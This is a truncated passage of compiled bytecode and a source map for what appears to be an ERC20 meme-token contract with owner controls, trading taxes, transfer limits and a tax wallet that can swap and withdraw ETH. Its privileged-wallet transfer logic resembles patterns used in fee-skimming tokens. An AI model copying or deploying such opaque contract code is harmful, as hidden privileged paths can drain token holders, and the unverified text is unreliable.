b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105bf5760405162461bcd60e51b81526004016103e990611869565b6105cb6009600a611844565b6105d990630bebc200611852565b600c556105e86009600a611844565b6105f690630bebc200611852565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106266009600a611844565b61063490630bebc200611852565b60405190815260200160405180910390a1565b5f546001600160a01b031633146106705760405162461bcd60e51b81526004016103e990611869565b601254600160a01b900460ff16156106ca5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103e9565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107139030906107056009600a611844565b6104c590630bebc200611852565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610763573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610787919061189e565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107e6573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061080a919061189e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610854573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610878919061189e565b601280546001600160a81b0319166001600160a01b0392831617600160a01b1790556011541663f305d71947306108c3816001600160a01b03165f9081526001602052604090205490565b5f806108d65f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561093c573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061096191906118b9565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109b6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109da91906118e4565b506014805461ff001916610100179055565b5f610396338484610b1c565b6001600160a01b038316610a5a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e9565b6001600160a01b038216610abb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e9565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b805760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103e9565b6001600160a01b038216610be25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103e9565b5f8111610c435760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103e9565b601254600160a01b900460ff161580610c5e575060145460ff165b15610c7357610c6e83838361127a565b505050565b5f80546001600160a01b03858116911614801590610c9e57505f546001600160a01b03848116911614155b8015610cb857506010546001600160a01b03848116911614155b15610f0757610ce96064610ce3600854600b5411610cd857600454610cdc565b6006545b859061131d565b906113a2565b6012549091506001600160a01b038581169116148015610d1757506011546001600160a01b03848116911614155b8015610d3b57506001600160a01b0383165f9081526003602052604090205460ff16155b15610e2157600c54821115610d925760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103e9565b600d5482610db4856001600160a01b03165f9081526001602052604090205490565b610dbe9190611903565b1115610e0c5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103e9565b600b8054905f610e1b83611916565b91905055505b6012546001600160a01b038481169116148015610e4757506001600160a01b0384163014155b15610e7457610e716064610ce3600954600b5411610e6757600554610cdc565b600754859061131d565b90505b305f9081526001602052604090205460145460ff168015610ea257506012546001600160a01b038581169116145b8015610eb55750601454610100900460ff165b8015610ec25750600e5481115b8015610ed15750600a54600b54115b15610f0557610ef3610eee84610ee984600f546113e3565b6113e3565b6110dc565b478015610f0357610f0347611243565b505b505b6001600160a01b0384165f9081526003602052604090205460ff1680610f4457506001600160a01b0383165f9081526003602052604090205460ff165b8015610f5957506001600160a01b0384163014155b8015610f6e57506001600160a01b0383163014155b15610f7857436013555b6001600160a01b0384165f9081526003602052604090205460ff16158015610fb857506001600160a01b0383165f9081526003602052604090205460ff16155b15611092576012546001600160a01b039081169084160361100a576001600160a01b0384165f9081526016602052604090206013548154610ff9919061192e565b600282015542600190910155611092565b6001600160a01b038084165f908152601660205260409020601254909186811691160361105e57805461105957600a54600b54111561104b57438155611090565b61105660014361192e565b81555b611090565b6001600160a01b0385165f90815260166020526040902081541580611084575081548154105b1561108e57805482555b505b505b61109e848484846113f7565b50505050565b5f81848411156110c75760405162461bcd60e51b81526004016103e9919061164d565b505f6110d3848661192e565b95945050505050565b6014805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061111c5761111c611941565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611173573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611197919061189e565b816001815181106111aa576111aa611941565b6001600160a01b0392831660209182029290920101526011546111d091309116846109f8565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906112089085905f90869030904290600401611955565b5f604051808303815f87803b15801561121f575f80fd5b505af1158015611231573d5f803e3d5ffd5b50506014805460ff1916905550505050565b6010546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610521573d5f803e3d5ffd5b6001600160a01b0383165f9081526001602052604090205461129c9082611421565b6001600160a01b038085165f9081526001602052604080822093909355908416815220546112ca9082611462565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b0f9085815260200190565b5f825f0361132c57505f61039a565b5f6113378385611852565b90508261134485836119c6565b1461139b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103e9565b9392505050565b5f61139b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114c0565b5f8183116113f1578261139b565b50919050565b5f6114038584846114ec565b905061141a8585836114158787611421565b61159c565b5050505050565b5f61139b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110a4565b5f8061146e8385611903565b90508381101561139b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103e9565b5f81836114e05760405162461bcd60e51b81526004016103e9919061164d565b505f6110d384866119c6565b6010545f9081906001600160a01b039081169086160361151857601554611513908561131d565b61151a565b835b9050821561159457305f9081526001602052604090205461153b9084611462565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061158b9087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f908152600160205260409020546115be9083611421565b6001600160a01b038086165f9081526001602052604080822093909355908516815220546115ec9082611462565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061163f9085815260200190565b60405180910390a350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461046a575f80fd5b5f80604083850312156116a7575f80fd5b82356116b281611682565b946020939093013593505050565b5f805f606084860312156116d2575f80fd5b83356116dd81611682565b925060208401356116ed81611682565b929592945050506040919091013590565b5f6020828403121561170e575f80fd5b813561139b81611682565b5f806040838503121561172a575f80fd5b823561173581611682565b9150602083013561174581611682565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561179e57815f190482111561178457611784611750565b8085161561179157918102915b93841c9390800290611769565b509250929050565b5f826117b45750600161039a565b816117c057505f61039a565b81600181146117d657600281146117e0576117fc565b600191505061039a565b60ff8411156117f1576117f1611750565b50506001821b61039a565b5060208310610133831016604e8410600b841016171561181f575081810a61039a565b6118298383611764565b805f190482111561183c5761183c611750565b029392505050565b5f61139b60ff8416836117a6565b808202811582820484141761039a5761039a611750565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156118ae575f80fd5b815161139b81611682565b5f805f606084860312156118cb575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156118f4575f80fd5b8151801515811461139b575f80fd5b8082018082111561039a5761039a611750565b5f6001820161192757611927611750565b5060010190565b8181038181111561039a5761039a611750565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119a55784516001600160a01b031683529383019391830191600101611980565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826119e057634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f66a3d01ccfc6e6fd82e81e202a3ebb9bdca075d09cbd04b81c76f442b45efe664736f6c63430008190033
Deployed Bytecode Sourcemap
4170:10113:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6098:83;;;;;;;;;;-1:-1:-1;6168:5:0;;;;;;;;;;;;-1:-1:-1;;;6168:5:0;;;;6098:83;;;;;;;:::i;:::-;;;;;;;;6931:161;;;;;;;;;;-1:-1:-1;6931:161:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;6931:161:0;893:187:1;5150:51:0;;;;;;;;;;;;;;;;;;;1231:25:1;;;1219:2;1204:18;5150:51:0;1085:177:1;6375:95:0;;;;;;;;;;;;;:::i;12759:184::-;;;;;;;;;;;;;:::i;:::-;;7100:350;;;;;;;;;;-1:-1:-1;7100:350:0;;;;;:::i;:::-;;:::i;6284:83::-;;;;;;;;;;-1:-1:-1;6284:83:0;;4785:1;1870:36:1;;1858:2;1843:18;6284:83:0;1728:184:1;13218:348:0;;;;;;;;;;;;;:::i;6478:119::-;;;;;;;;;;-1:-1:-1;6478:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6571:18:0;6544:7;6571:18;;;:9;:18;;;;;;;6478:119;3249:150;;;;;;;;;;;;;:::i;12951:159::-;;;;;;;;;;;;;:::i;4966:52::-;;;;;;;;;;;;;;;;13574:669;;;;;;;;;;;;;:::i;3033:79::-;;;;;;;;;;-1:-1:-1;3071:7:0;3098:6;3033:79;;-1:-1:-1;;;;;3098:6:0;;;2315:51:1;;2303:2;2288:18;3033:79:0;2169:203:1;5025:54:0;;;;;;;;;;;;;;;;6189:87;;;;;;;;;;-1:-1:-1;6261:7:0;;;;;;;;;;;;-1:-1:-1;;;6261:7:0;;;;6189:87;;6605:167;;;;;;;;;;-1:-1:-1;6605:167:0;;;;;:::i;:::-;;:::i;5086:57::-;;;;;;;;;;;;;;;;6780:143;;;;;;;;;;-1:-1:-1;6780:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6888:18:0;;;6861:7;6888:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6780:143;6931:161;7006:4;7023:39;653:10;7046:7;7055:6;7023:8;:39::i;:::-;-1:-1:-1;7080:4:0;6931:161;;;;;:::o;6375:95::-;6428:7;4840:13;4785:1;4840:2;:13;:::i;:::-;4828:25;;:9;:25;:::i;:::-;6448:14;;6375:95;:::o;12759:184::-;3161:6;;-1:-1:-1;;;;;3161:6:0;653:10;3161:22;3152:69;;;;-1:-1:-1;;;3152:69:0;;;;;;;:::i;:::-;;;;;;;;;12842:1:::1;12818:21;:25;12810:63;;;::::0;-1:-1:-1;;;12810:63:0;;5015:2:1;12810:63:0::1;::::0;::::1;4997:21:1::0;5054:2;5034:18;;;5027:30;5093:27;5073:18;;;5066:55;5138:18;;12810:63:0::1;4813:349:1::0;12810:63:0::1;12884:51;::::0;12892:10:::1;::::0;12913:21:::1;12884:51:::0;::::1;;;::::0;::::1;::::0;;;12913:21;12892:10;12884:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;12759:184::o:0;7100:350::-;7198:4;7215:36;7225:6;7233:9;7244:6;7215:9;:36::i;:::-;7262:158;7285:6;653:10;7320:89;7358:6;7320:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7320:19:0;;;;;;:11;:19;;;;;;;;653:10;7320:33;;;;;;;;;;:37;:89::i;:::-;7262:8;:158::i;:::-;-1:-1:-1;7438:4:0;7100:350;;;;;:::o;13218:348::-;13282:10;;-1:-1:-1;;;;;13282:10:0;653;-1:-1:-1;;;;;13268:24:0;;13260:33;;;;;;13343:4;13304:20;6571:18;;;:9;:18;;;;;;13363:14;;13360:73;;13391:30;13408:12;13391:16;:30::i;:::-;13462:21;13497:12;;13494:65;;13523:24;13536:10;13523:12;:24::i;:::-;13249:317;;13218:348::o;3249:150::-;3161:6;;-1:-1:-1;;;;;3161:6:0;653:10;3161:22;3152:69;;;;-1:-1:-1;;;3152:69:0;;;;;;;:::i;:::-;3356:1:::1;3340:6:::0;;3319:40:::1;::::0;-1:-1:-1;;;;;3340:6:0;;::::1;::::0;3319:40:::1;::::0;3356:1;;3319:40:::1;3389:1;3372:19:::0;;-1:-1:-1;;;;;;3372:19:0::1;::::0;;3249:150::o;12951:159::-;3161:6;;-1:-1:-1;;;;;3161:6:0;653:10;3161:22;3152:69;;;;-1:-1:-1;;;3152:69:0;;;;;;;:::i;:::-;4840:13:::1;4785:1;4840:2;:13;:::i;:::-;4828:25;::::0;:9:::1;:25;:::i;:::-;13004:12;:22:::0;4840:13:::1;4785:1;4840:2;:13;:::i;:::-;4828:25;::::0;:9:::1;:25;:::i;:::-;13037:14;:22:::0;13075:27:::1;4840:13;4785:1;4840:2;:13;:::i;:::-;4828:25;::::0;:9:::1;:25;:::i;:::-;13075:27;::::0;1231:25:1;;;1219:2;1204:18;13075:27:0::1;;;;;;;12951:159::o:0;13574:669::-;3161:6;;-1:-1:-1;;;;;3161:6:0;653:10;3161:22;3152:69;;;;-1:-1:-1;;;3152:69:0;;;;;;;:::i;:::-;13640:11:::1;::::0;-1:-1:-1;;;13640:11:0;::::1;;;13639:12;13631:47;;;::::0;-1:-1:-1;;;13631:47:0;;5369:2:1;13631:47:0::1;::::0;::::1;5351:21:1::0;5408:2;5388:18;;;5381:30;5447:25;5427:18;;;5420:53;5490:18;;13631:47:0::1;5167:347:1::0;13631:47:0::1;13689:15;:80:::0;;-1:-1:-1;;;;;;13689:80:0::1;13726:42;13689:80:::0;;::::1;::::0;;;13780:57:::1;::::0;13797:4:::1;::::0;4840:13:::1;4785:1;4840:2;:13;:::i;:::-;4828:25;::::0;:9:::1;:25;:::i;13780:57::-;13882:15;;;;;;;;;-1:-1:-1::0;;;;;13882:15:0::1;-1:-1:-1::0;;;;;13882:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13864:55:0::1;;13928:4;13934:15;;;;;;;;;-1:-1:-1::0;;;;;13934:15:0::1;-1:-1:-1::0;;;;;13934:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13864:93;::::0;-1:-1:-1;;;;;;13864:93:0::1;::::0;;;;;;-1:-1:-1;;;;;6005:15:1;;;13864:93:0::1;::::0;::::1;5987:34:1::0;6057:15;;6037:18;;;6030:43;5922:18;;13864:93:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13848:13;:109:::0;;-1:-1:-1;;;;;;13968:17:0;-1:-1:-1;;;;;13848:109:0;;::::1;13968:17:::0;-1:-1:-1;;;13968:17:0::1;::::0;;13996:15:::1;::::0;::::1;:31;14035:21;14066:4;14072:24;14066:4:::0;-1:-1:-1;;;;;6571:18:0;6544:7;6571:18;;;:9;:18;;;;;;;6478:119;14072:24:::1;14097:1;14099::::0;14101:7:::1;3071::::0;3098:6;-1:-1:-1;;;;;3098:6:0;;3033:79;14101:7:::1;13996:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13996:129:0;;;-1:-1:-1;;;;;6443:15:1;;;13996:129:0::1;::::0;::::1;6425:34:1::0;6475:18;;;6468:34;;;;6518:18;;;6511:34;;;;6561:18;;;6554:34;6625:15;;;6604:19;;;6597:44;14109:15:0::1;6657:19:1::0;;;6650:35;6359:19;;13996:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;14143:13:0::1;::::0;14174:15:::1;::::0;14136:71:::1;::::0;-1:-1:-1;;;14136:71:0;;-1:-1:-1;;;;;14174:15:0;;::::1;14136:71;::::0;::::1;7181:51:1::0;-1:-1:-1;;7248:18:1;;;7241:34;14143:13:0;::::1;::::0;-1:-1:-1;14136:29:0::1;::::0;7154:18:1;;14136:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;14218:11:0::1;:17:::0;;-1:-1:-1;;14218:17:0::1;;;::::0;;13574:669::o;6605:167::-;6683:4;6700:42;653:10;6724:9;6735:6;6700:9;:42::i;7458:335::-;-1:-1:-1;;;;;7551:19:0;;7543:68;;;;-1:-1:-1;;;7543:68:0;;7770:2:1;7543:68:0;;;7752:21:1;7809:2;7789:18;;;7782:30;7848:34;7828:18;;;7821:62;-1:-1:-1;;;7899:18:1;;;7892:34;7943:19;;7543:68:0;7568:400:1;7543:68:0;-1:-1:-1;;;;;7630:21:0;;7622:68;;;;-1:-1:-1;;;7622:68:0;;8175:2:1;7622:68:0;;;8157:21:1;8214:2;8194:18;;;8187:30;8253:34;8233:18;;;8226:62;-1:-1:-1;;;8304:18:1;;;8297:32;8346:19;;7622:68:0;7973:398:1;7622:68:0;-1:-1:-1;;;;;7701:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7753:32;;1231:25:1;;;7753:32:0;;1204:18:1;7753:32:0;;;;;;;;7458:335;;;:::o;8112:3063::-;-1:-1:-1;;;;;8205:18:0;;8197:68;;;;-1:-1:-1;;;8197:68:0;;8578:2:1;8197:68:0;;;8560:21:1;8617:2;8597:18;;;8590:30;8656:34;8636:18;;;8629:62;-1:-1:-1;;;8707:18:1;;;8700:35;8752:19;;8197:68:0;8376:401:1;8197:68:0;-1:-1:-1;;;;;8284:16:0;;8276:64;;;;-1:-1:-1;;;8276:64:0;;8984:2:1;8276:64:0;;;8966:21:1;9023:2;9003:18;;;8996:30;9062:34;9042:18;;;9035:62;-1:-1:-1;;;9113:18:1;;;9106:33;9156:19;;8276:64:0;8782:399:1;8276:64:0;8373:1;8359:11;:15;8351:69;;;;-1:-1:-1;;;8351:69:0;;9388:2:1;8351:69:0;;;9370:21:1;9427:2;9407:18;;;9400:30;9466:34;9446:18;;;9439:62;-1:-1:-1;;;9517:18:1;;;9510:39;9566:19;;8351:69:0;9186:405:1;8351:69:0;8439:11;;-1:-1:-1;;;8439:11:0;;;;8437:13;;:23;;-1:-1:-1;8454:6:0;;;;8437:23;8433:114;;;8477:37;8492:4;8498:2;8502:11;8477:14;:37::i;:::-;8112:3063;;;:::o;8433:114::-;8559:17;3098:6;;-1:-1:-1;;;;;8593:15:0;;;3098:6;;8593:15;;;;:32;;-1:-1:-1;3071:7:0;3098:6;-1:-1:-1;;;;;8612:13:0;;;3098:6;;8612:13;;8593:32;:51;;;;-1:-1:-1;8634:10:0;;-1:-1:-1;;;;;8629:15:0;;;8634:10;;8629:15;;8593:51;8589:1259;;;8675:100;8771:3;8675:73;8703:15;;8692:9;;:26;8691:56;;8733:14;;8691:56;;;8720:12;;8691:56;8675:11;;:15;:73::i;:::-;:95;;:100::i;:::-;8804:13;;8663:112;;-1:-1:-1;;;;;;8796:21:0;;;8804:13;;8796:21;:54;;;;-1:-1:-1;8834:15:0;;-1:-1:-1;;;;;8821:29:0;;;8834:15;;8821:29;;8796:54;:71;;;;-1:-1:-1;;;;;;8856:11:0;;;;;;:7;:11;;;;;;;;8854:13;8796:71;8792:309;;;8911:12;;8896:11;:27;;8888:65;;;;-1:-1:-1;;;8888:65:0;;9798:2:1;8888:65:0;;;9780:21:1;9837:2;9817:18;;;9810:30;9876:27;9856:18;;;9849:55;9921:18;;8888:65:0;9596:349:1;8888:65:0;9010:14;;8996:11;8980:13;8990:2;-1:-1:-1;;;;;6571:18:0;6544:7;6571:18;;;:9;:18;;;;;;;6478:119;8980:13;:27;;;;:::i;:::-;:44;;8972:83;;;;-1:-1:-1;;;8972:83:0;;10282:2:1;8972:83:0;;;10264:21:1;10321:2;10301:18;;;10294:30;10360:28;10340:18;;;10333:56;10406:18;;8972:83:0;10080:350:1;8972:83:0;9074:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8792:309;9124:13;;-1:-1:-1;;;;;9120:17:0;;;9124:13;;9120:17;:41;;;;-1:-1:-1;;;;;;9141:20:0;;9156:4;9141:20;;9120:41;9117:178;;;9194:85;9275:3;9194:76;9222:16;;9211:9;;:27;9210:59;;9254:15;;9210:59;;;9240:13;;9194:11;;:15;:76::i;:85::-;9182:97;;9117:178;9358:4;9311:28;6571:18;;;:9;:18;;;;;;9383:6;;;;:29;;;;-1:-1:-1;9399:13:0;;-1:-1:-1;;;;;9393:19:0;;;9399:13;;9393:19;9383:29;:44;;;;-1:-1:-1;9416:11:0;;;;;;;9383:44;:88;;;;;9454:17;;9432:20;:39;9383:88;:138;;;;;9503:18;;9492:9;;:29;9383:138;9379:458;;;9556:74;9573:56;9577:11;9590:38;9594:20;9616:11;;9590:3;:38::i;:::-;9573:3;:56::i;:::-;9556:16;:74::i;:::-;9678:21;9722:20;;9718:104;;9767:35;9780:21;9767:12;:35::i;:::-;9537:300;9379:458;8648:1200;8589:1259;-1:-1:-1;;;;;9865:13:0;;;;;;:7;:13;;;;;;;;;:27;;-1:-1:-1;;;;;;9881:11:0;;;;;;:7;:11;;;;;;;;9865:27;9864:54;;;;-1:-1:-1;;;;;;9898:20:0;;9913:4;9898:20;;9864:54;:76;;;;-1:-1:-1;;;;;;9922:18:0;;9935:4;9922:18;;9864:76;9860:132;;;9968:12;9957:8;:23;9860:132;-1:-1:-1;;;;;10008:13:0;;;;;;:7;:13;;;;;;;;10006:15;:33;;;;-1:-1:-1;;;;;;10028:11:0;;;;;;:7;:11;;;;;;;;10026:13;10006:33;10002:1108;;;10065:13;;-1:-1:-1;;;;;10065:13:0;;;10059:19;;;;10055:1044;;-1:-1:-1;;;;;10136:21:0;;10100:33;10136:21;;;:15;:21;;;;;10211:8;;10193:17;;:26;;10211:8;10193:26;:::i;:::-;10176:14;;;:43;10262:15;10238:21;;;;:39;10055:1044;;;-1:-1:-1;;;;;10358:19:0;;;10318:37;10358:19;;;:15;:19;;;;;10400:13;;10358:19;;10400:21;;;:13;;:21;10396:688;;10453:21;;10447:318;;10522:18;;10512:9;;:28;10508:234;;;10597:12;10573:36;;10396:688;;10508:234;10698:16;10713:1;10698:12;:16;:::i;:::-;10674:40;;10508:234;10396:688;;;-1:-1:-1;;;;;10849:21:0;;10813:33;10849:21;;;:15;:21;;;;;10899;;:25;;10897:73;;-1:-1:-1;10949:21:0;;10929:17;;:41;10897:73;10893:172;;;11024:17;;11000:41;;10893:172;10790:294;10396:688;10299:800;10055:1044;11122:45;11137:4;11142:2;11145:11;11157:9;11122:14;:45::i;:::-;8186:2989;8112:3063;;;:::o;1859:190::-;1945:7;1981:12;1973:6;;;;1965:29;;;;-1:-1:-1;;;1965:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2005:9:0;2017:5;2021:1;2017;:5;:::i;:::-;2005:17;1859:190;-1:-1:-1;;;;;1859:190:0:o;12268:483::-;5744:6;:13;;-1:-1:-1;;5744:13:0;5753:4;5744:13;;;12370:16:::1;::::0;;12384:1:::1;12370:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12370:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12370:16:0::1;12346:40;;12415:4;12397;12402:1;12397:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12397:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12441:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12441:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;12397:7;;12441:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12431:4;12436:1;12431:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12431:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12506:15:::1;::::0;12474:62:::1;::::0;12491:4:::1;::::0;12506:15:::1;12524:11:::0;12474:8:::1;:62::i;:::-;12547:15;::::0;:196:::1;::::0;-1:-1:-1;;;12547:196:0;;-1:-1:-1;;;;;12547:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12628:11;;12547:15:::1;::::0;12670:4;;12697::::1;::::0;12717:15:::1;::::0;12547:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5780:6:0;:14;;-1:-1:-1;;5780:14:0;;;-1:-1:-1;;;;12268:483:0:o;13118:92::-;13175:10;;:27;;-1:-1:-1;;;;;13175:10:0;;;;:27;;;;;13195:6;;13175:10;:27;:10;:27;13195:6;13175:10;:27;;;;;;;;;;;;;;;;;;;11183:251;-1:-1:-1;;;;;11292:15:0;;;;;;:9;:15;;;;;;:32;;11312:11;11292:19;:32::i;:::-;-1:-1:-1;;;;;11274:15:0;;;;;;;:9;:15;;;;;;:50;;;;11350:13;;;;;;;:30;;11368:11;11350:17;:30::i;:::-;-1:-1:-1;;;;;11335:13:0;;;;;;;:9;:13;;;;;;;:45;;;;11396:30;;;;;;;;;;11414:11;1231:25:1;;1219:2;1204:18;;1085:177;2057:283:0;2115:7;2139:1;2144;2139:6;2135:47;;-1:-1:-1;2169:1:0;2162:8;;2135:47;2192:9;2204:5;2208:1;2204;:5;:::i;:::-;2192:17;-1:-1:-1;2251:1:0;2242:5;2246:1;2192:17;2242:5;:::i;:::-;:10;2220:93;;;;-1:-1:-1;;;2220:93:0;;12381:2:1;2220:93:0;;;12363:21:1;12420:2;12400:18;;;12393:30;12459:34;12439:18;;;12432:62;-1:-1:-1;;;12510:18:1;;;12503:31;12551:19;;2220:93:0;12179:397:1;2220:93:0;2331:1;2057:283;-1:-1:-1;;;2057:283:0:o;2348:132::-;2406:7;2433:39;2437:1;2440;2433:39;;;;;;;;;;;;;;;;;:3;:39::i;12161:99::-;12218:7;12246:1;12244;:3;12243:9;;12251:1;12243:9;;;-1:-1:-1;12249:1:0;12161:99;-1:-1:-1;12161:99:0:o;11442:284::-;11576:15;11594:47;11612:4;11618:11;11631:9;11594:17;:47::i;:::-;11576:65;-1:-1:-1;11652:66:0;11672:4;11678:2;11576:65;11691:26;:11;11707:9;11691:15;:26::i;:::-;11652:19;:66::i;:::-;11565:161;11442:284;;;;:::o;1691:160::-;1749:7;1776:67;1794:1;1797;1776:67;;;;;;;;;;;;;;;;;:3;:67::i;1481:202::-;1539:7;;1571:5;1575:1;1571;:5;:::i;:::-;1559:17;;1614:1;1609;:6;;1587:69;;;;-1:-1:-1;;;1587:69:0;;12783:2:1;1587:69:0;;;12765:21:1;12822:2;12802:18;;;12795:30;12861:29;12841:18;;;12834:57;12908:18;;1587:69:0;12581:351:1;2488:189:0;2574:7;2609:12;2602:5;2594:28;;;;-1:-1:-1;;;2594:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2633:9:0;2645:5;2649:1;2645;:5;:::i;11734:417::-;11880:10;;11834:7;;;;-1:-1:-1;;;;;11880:10:0;;;11872:18;;;;:65;;11906:14;;:31;;11925:11;11906:18;:31::i;:::-;11872:65;;;11893:11;11872:65;11854:83;-1:-1:-1;11952:13:0;;11948:171;;12025:4;12007:24;;;;:9;:24;;;;;;:39;;12036:9;12007:28;:39::i;:::-;11999:4;11981:24;;;;:9;:24;;;;;;;:65;;;;12066:41;;-1:-1:-1;;;;;12066:41:0;;;;;;;12097:9;1231:25:1;;1219:2;1204:18;;1085:177;12066:41:0;;;;;;;;11948:171;12136:7;11734:417;-1:-1:-1;;;;11734:417:0:o;7801:303::-;-1:-1:-1;;;;;7960:15:0;;;;;;:9;:15;;;;;;:31;;7980:10;7960:19;:31::i;:::-;-1:-1:-1;;;;;7943:15:0;;;;;;;:9;:15;;;;;;:48;;;;8017:13;;;;;;;:32;;8035:13;8017:17;:32::i;:::-;-1:-1:-1;;;;;8002:13:0;;;;;;;:9;:13;;;;;;;:47;;;;8065:31;;;;;;;;;;8082:13;1231:25:1;;1219:2;1204:18;;1085:177;8065:31:0;;;;;;;;7801:303;;;;:::o;14:418:1:-;163:2;152:9;145:21;126:4;1